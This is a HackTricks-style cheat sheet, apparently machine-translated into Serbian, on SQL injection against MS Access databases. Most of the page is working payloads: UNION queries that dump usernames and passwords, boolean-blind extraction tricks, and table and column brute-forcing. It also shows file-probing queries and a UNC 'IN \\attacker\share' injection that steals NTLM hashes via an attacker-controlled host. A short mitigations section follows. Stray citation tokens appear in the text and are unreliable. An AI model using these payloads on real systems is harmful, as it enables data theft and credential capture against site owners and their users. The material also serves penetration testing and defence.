MS Access SQL Injection

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Online Playground

DB Limitations

String Concatenation

Kombinacija stringova je moguća sa & (%26) i + (%2b) karakterima.

sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Коментари

У MS Access-у нема коментара, али очигледно је могуће уклонити последњи део упита помоћу NULL карактера:

sql
1' union select 1,2 from table%00

Ако ово не ради, увек можете исправити синтаксу упита:

sql
1' UNION SELECT 1,2 FROM table WHERE ''='

Stacked Queries

Nisu podržane.

LIMIT

Operator LIMIT nije implementiran. Međutim, moguće je ograničiti rezultate SELECT upita na prvih N redova tabele koristeći operator TOP. TOP prihvata kao argument ceo broj, koji predstavlja broj redova koji treba da budu vraćeni.

sql
1' UNION SELECT TOP 3 attr FROM table%00

Baš kao TOP, možete koristiti LAST koji će dobiti redove sa kraja.

UNION Upiti/Sub upiti

U SQLi obično želite na neki način izvršiti novi upit da biste izvukli informacije iz drugih tabela. MS Access uvek zahteva da se u subupitima ili dodatnim upitima označi FROM.
Dakle, ako želite da izvršite UNION SELECT ili UNION ALL SELECT ili SELECT unutar zagrade u uslovu, uvek morate označiti FROM sa validnim imenom tabele.
Stoga, morate znati validno ime tabele.

sql
-1' UNION SELECT username,password from users%00

Chaining equals + Substring

warning

Ovo će vam omogućiti da exfiltrirate vrednosti trenutne tabele bez potrebe da znate ime tabele.

MS Access omogućava čudnu sintaksu kao što je '1'=2='3'='asd'=false. Kao što obično SQL injekcija će biti unutar WHERE klauzule, možemo to zloupotrebiti.

Zamislite da imate SQLi u MS Access bazi podataka i znate (ili ste pogodili) da je jedno ime kolone username, i to je polje koje želite da exfiltrirate. Mogli biste proveriti različite odgovore web aplikacije kada se koristi tehnika chaining equals i potencijalno exfiltrirati sadržaj sa boolean injection koristeći Mid funkciju za dobijanje podstringova.

sql
'=(Mid(username,1,3)='adm')='

Ako znate ime tabele i kolone koju želite da izvučete, možete koristiti kombinaciju između Mid, LAST i TOP da izvučete sve informacije putem boolean SQLi:

sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

Brute-forcing Tables names

Korišćenjem tehnike povezivanja jednakosti možete takođe bruteforce-ovati imena tabela sa nečim poput:

sql
'=(select+top+1+'lala'+from+<table_name>)='

Možete takođe koristiti tradicionalniji način:

sql
-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

Brute-Forcing naziva kolona

Možete brute-force trenutne nazive kolona koristeći trik sa povezivanjem jednakosti sa:

sql
'=column_name='

Ili sa group by:

sql
-1' GROUP BY column_name%00

Ili možete koristiti brute-force za imena kolona druge tabele sa:

sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Dumping data

Već smo razgovarali o tehnici povezivanja jednakosti za iskopavanje podataka iz trenutne i drugih tabela. Ali postoje i drugi načini:

sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

Ukratko, upit koristi "if-then" izjavu kako bi aktivirao "200 OK" u slučaju uspeha ili "500 Internal Error" u suprotnom. Iskorišćavanjem TOP 10 operatora, moguće je izabrati prvih deset rezultata. Naknadna upotreba LAST omogućava da se razmatra samo 10. tuple. Na takvoj vrednosti, korišćenjem MID operatora, moguće je izvršiti jednostavnu uporedbu karaktera. Pravilnom promenom indeksa MID i TOP, možemo izvući sadržaj polja "username" za sve redove.

Vremenski zasnovane (slepe) trikove

Jet/ACE SQL sam po sebi ne izlaže nativnu SLEEP() ili WAITFOR funkciju, tako da su tradicionalne vremenski zasnovane slepe injekcije ograničene. Međutim, još uvek možete uvesti merljivo kašnjenje prisiljavajući engine da pristupi mrežnom resursu koji je spor ili ne odgovara. Pošto će engine pokušati da otvori datoteku pre nego što vrati rezultat, vreme HTTP odgovora odražava latenciju povratnog puta do hosta koji kontroliše napadač.

sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--

Usmerite UNC putanju na:

  • SMB deljenje iza veze sa visokom latencijom
  • host koji odbacuje TCP rukovanje nakon SYN-ACK
  • firewall sinkhole

Dodatne sekunde koje uvodi daljinski pretraživač mogu se koristiti kao out-of-band timing oracle za boolean uslove (npr. izaberite spor put samo kada je injektovana predikcija tačna). Microsoft dokumentuje ponašanje daljinske baze podataka i povezani registry kill-switch u KB5002984. citeturn1search0

Druge zanimljive funkcije

  • Mid('admin',1,1) uzmi podstring sa pozicije 1 dužine 1 (početna pozicija je 1)
  • LEN('1234') uzmi dužinu stringa
  • ASC('A') uzmi ascii vrednost karaktera
  • CHR(65) uzmi string iz ascii vrednosti
  • IIF(1=1,'a','b') ako onda
  • COUNT(*) prebroj broj stavki

Enumeracija tabela

Sa ovde možete videti upit za dobijanje imena tabela:

sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Međutim, imajte na umu da je vrlo tipično pronaći SQL injekcije gde nemate pristup za čitanje tabele MSysObjects.

Pristup fajl sistemu

Potpuna putanja do web korena

Znanje o apsolutnoj putanji web korena može olakšati dalja napada. Ako greške aplikacije nisu potpuno sakrivene, putanja do direktorijuma može biti otkrivena pokušajem selektovanja podataka iz nepostojeće baze podataka.

http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access odgovara sa porukom o grešci koja sadrži punu putanju do web direktorijuma.

Enumeracija fajlova

Sledeći napadni vektor može se koristiti za inferisanje postojanja fajla na udaljenom fajl sistemu. Ako navedeni fajl postoji, MS Access aktivira poruku o grešci koja obaveštava da je format baze podataka nevažeći:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Drugi način za enumeraciju fajlova sastoji se u navođenju stavke database.table. Ako navedeni fajl postoji, MS Access prikazuje poruku o grešci u formatu baze podataka.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Pogađanje imena .mdb fajla

Ime baze podataka (.mdb) može se inferirati sledećim upitom:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Gde je name[i] ime .mdb fajla i realTable je postojeća tabela unutar baze podataka. Iako će MS Access uvek aktivirati poruku o grešci, moguće je razlikovati između nevažećeg imena fajla i važećeg .mdb imena fajla.

Pristup udaljenoj bazi podataka i krađa NTLM kredencijala (2023)

Od Jet 4.0 svaki upit može referencirati tabelu smeštenu u drugom .mdb/.accdb fajlu putem klauzule IN '<path>':

sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';

Ako se korisnički unos konkatenira u deo posle IN (ili u JOIN … IN / OPENROWSET / OPENDATASOURCE poziv), napadač može da specificira UNC putanju koja pokazuje na host koji kontroliše. Motor će:

  1. pokušati da se autentifikuje preko SMB / HTTP da otvori udaljenu bazu podataka;
  2. otkriti NTLM akreditive veb servera (prinudna autentifikacija);
  3. analizirati udaljenu datoteku – neispravna ili zlonamerna baza podataka može izazvati Jet/ACE greške u memoriji koje su više puta ispravljane (npr. CVE-2021-28455).

Praktičan primer injekcije:

sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -

Impact:

  • Izvanbandna eksfiltracija Net-NTLMv2 hash-ova (korisno za relaying ili offline cracking).
  • Potencijalna daljinska izvršenja koda ako se iskoristi novi bug u Jet/ACE parseru.

Mitigations (preporučuje se čak i za nasleđene Classic ASP aplikacije):

  • Dodajte registry vrednost AllowQueryRemoteTables = 0 pod HKLM\Software\Microsoft\Jet\4.0\Engines (i pod ekvivalentnim ACE putem). Ovo prisiljava Jet/ACE da odbije udaljene putanje koje počinju sa \\.
  • Blokirajte izlazni SMB/WebDAV na mrežnoj granici.
  • Sanitizujte / parametrize bilo koji deo upita koji može završiti unutar IN klauzule.

Vektor prisilne autentifikacije ponovo je istražen od strane Check Point Research 2023. godine, dokazujući da je još uvek moguće iskoristiti na potpuno zakrčenom Windows Server-u kada registry ključ nedostaje. citeturn0search0

.mdb Password Cracker

Access PassView je besplatni alat koji se može koristiti za oporavak glavne lozinke baze podataka Microsoft Access 95/97/2000/XP ili Jet Database Engine 3.0/4.0.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks